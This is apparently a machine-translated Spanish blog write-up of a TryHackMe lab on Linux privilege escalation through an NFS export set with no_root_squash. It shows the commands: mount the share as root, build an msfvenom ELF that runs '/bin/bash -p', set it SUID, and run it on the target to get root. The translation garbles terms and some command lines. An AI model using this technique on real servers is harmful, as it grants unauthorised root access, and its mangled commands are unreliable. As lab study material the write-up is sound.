[Tryhackme] expandiendo los privilegios al hacer mal uso del no_root_squash en el soporte NFS! Linux Privesc Escribir Part9

[Tryhackme] expandiendo los privilegios al hacer mal uso del no_root_squash en el soporte NFS! Linux Privesc Escribir Part9

Esta vez, intentaremos "elevación del privilegio utilizando el Monte NFS NO_ROOT_SQUASH".

La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo es la Parte 9.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también verifique privilegios electrónicos que exploten copias de seguridad de archivos de historia, archivos de configuración y archivos importantes

Tenga en cuenta que la explicación es spoilers.

Libros de referencia recomendados
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Ipusiron
¥3,850 (A partir de 21:11 el 08/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, supervisado por: Mantani Nobutaka, Traducción: Arai Yu, Traducción: Kakara Hirosei, Traducción: Murakami Ryo
¥3,520 (A partir de las 12:26 el 07/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Tabla de contenido

Preparación

Primero, inicie la máquina de destino con la máquina de arranque.

Está bien si se muestra la dirección IP.

Esta vez, dado que se intensifica a los privilegios, verificaré para ver dónde se puede conectar a través de SSH.
Conecte usando "User/Password321" como se muestra en TryhackMe.

┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian El sistema GNU/Linux es un software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125

NFS

Los archivos creados a través de NFS heredarán la ID del usuario remoto.
Si el usuario es raíz y la calabaza raíz está habilitada (no_root_squash no está especificado), la ID se establecerá en "nadie" en su lugar.
Por el contrario, si la calabaza raíz está deshabilitada (no_root_squash se especifica), tenga en cuenta que tiene el mismo nivel de privilegios de acceso que la raíz.

Por defecto, las solicitudes de archivos hechas por root en una máquina de cliente son tratadas por nadie en ese servidor. Sin embargo, si selecciona NO_ROOT_SQUASH, la raíz en la máquina del cliente tiene el mismo nivel de privilegios de acceso que la raíz en el servidor.

Vamos a ver la configuración de intercambio de NFS para Debian VM.

usuario@debian: ~ $ cat /etc /exports # /etc /exports: la lista de control de acceso para sistemas de archivos que se pueden exportar # a clientes NFS. Ver exportaciones (5). # # Ejemplo para NFSV2 y NFSV3: # /srv /homes hostname1 (rw, sync, no_subtree_check) hostname2 (ro, sync, no_subtree_check) # # Ejemplo para nfsv4: # /srv /nfs4 GSS/KRB5I (RW, SYNC, FSID = 0, CrossMnt, NO_SUBTREE_CHECK) #/SRV/NFS4/HOMES GSS/KRB5I (RW, SYNC, NO_SUBTREE_CHECK) #/TMP *(RW, Sync, Insecure, NO_ROOT_SQUASH, NO_SUBTREE) *(RW, Sync, Insegure, NO_Subtree_check)

¿Has notado que no_root_squash se especifica en "/tmp"?
A continuación, explotaremos NO_ROOT_SQUASH en "/TMP" para aumentar los privilegios.

Primero, rootemos la máquina de ataque. (Incluso en la máquina de destino, los mismos privilegios que la raíz en /tmp).

┌── (Hacklab㉿hackLab)-[~] └─ $ sudo su ┌── (root💀hacklab)-[/home/hacklab] └─# 

A continuación, cree un punto de montaje en la máquina de ataque y monte /TMP.

┌─se (root💀hacklab)-[/home/hacklab] └─# mkdir/tmp/nfs ┌── (root💀hacklab)-[/home/hacklab] └─# monte -o rw, vers = 3 10.10.175.49:/tmp/tmp/nfs

A continuación, use MSFVENOM para generar una carga útil que llama /bin /bash.
La carga útil generada se guardará en /TMP /NFS.

┌── (root💀hackLab) -[/home/hacklab] └─# msfvenom -p linux/x86/exec cmd = "/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [ -] No se seleccionó la plataforma, elección de msf :: módulo :: plataforma: lineux de la pago de pago [ -] selected, no, no, seleccionando la plataforma: Seleccionar la plataforma de la plataforma, elección de MSF :: Module :: Platform: Linux de la carga de pagos codificador especificado, salida Tamaño de carga útil de carga sin procesar: 48 bytes Tamaño final del archivo ELF: 132 bytes guardados como: /tmp/nfs/shell.elf

Grant los privilegios Suid para que una vez que el usuario objetivo lo ejecute se ejecute con los privilegios del propietario. (La raíz de la máquina de ataque se considera la raíz de la máquina de destino, y al otorgar privilegios Suid, otros usuarios de la máquina de destino también se pueden ejecutar con privilegios raíz).

┌── (root💀hacklab)-[/home/hacklab] └─# chmod +xs /tmp/nfs/shell.elf

Una vez que haya hecho esto, regrese a la máquina de destino y ejecute el shell.elf que acaba de guardar.

Usuario@Debian: ~ $ /tmp/shell.elf Bash-4.1# Whoami root

Obtuve con éxito privilegios de raíz.

resumen

Esta vez, intenté "elevación de privilegios usando el Monte NFS NO_ROOT_SQUASH".
Finalmente, ¿notó que ha surgido el problema de ejecutar con privilegios Suid?

¿Cuál es el permiso de Suid? Si cree que sí, ¡también consulte Electroducción usando ejecutables SUID/SGID

Referencias y sitios

-

¡Comparte si quieres!

Quien escribió este artículo

Este es un blog que comencé a estudiar la seguridad de la información. Como nuevo empleado, sería feliz si pudieras mirar con un corazón amplio.
También está Teech Lab, que es una oportunidad para estudiar diversión de programación, por lo que si está interesado en el desarrollo de software, ¡asegúrese de echar un vistazo!

Tabla de contenido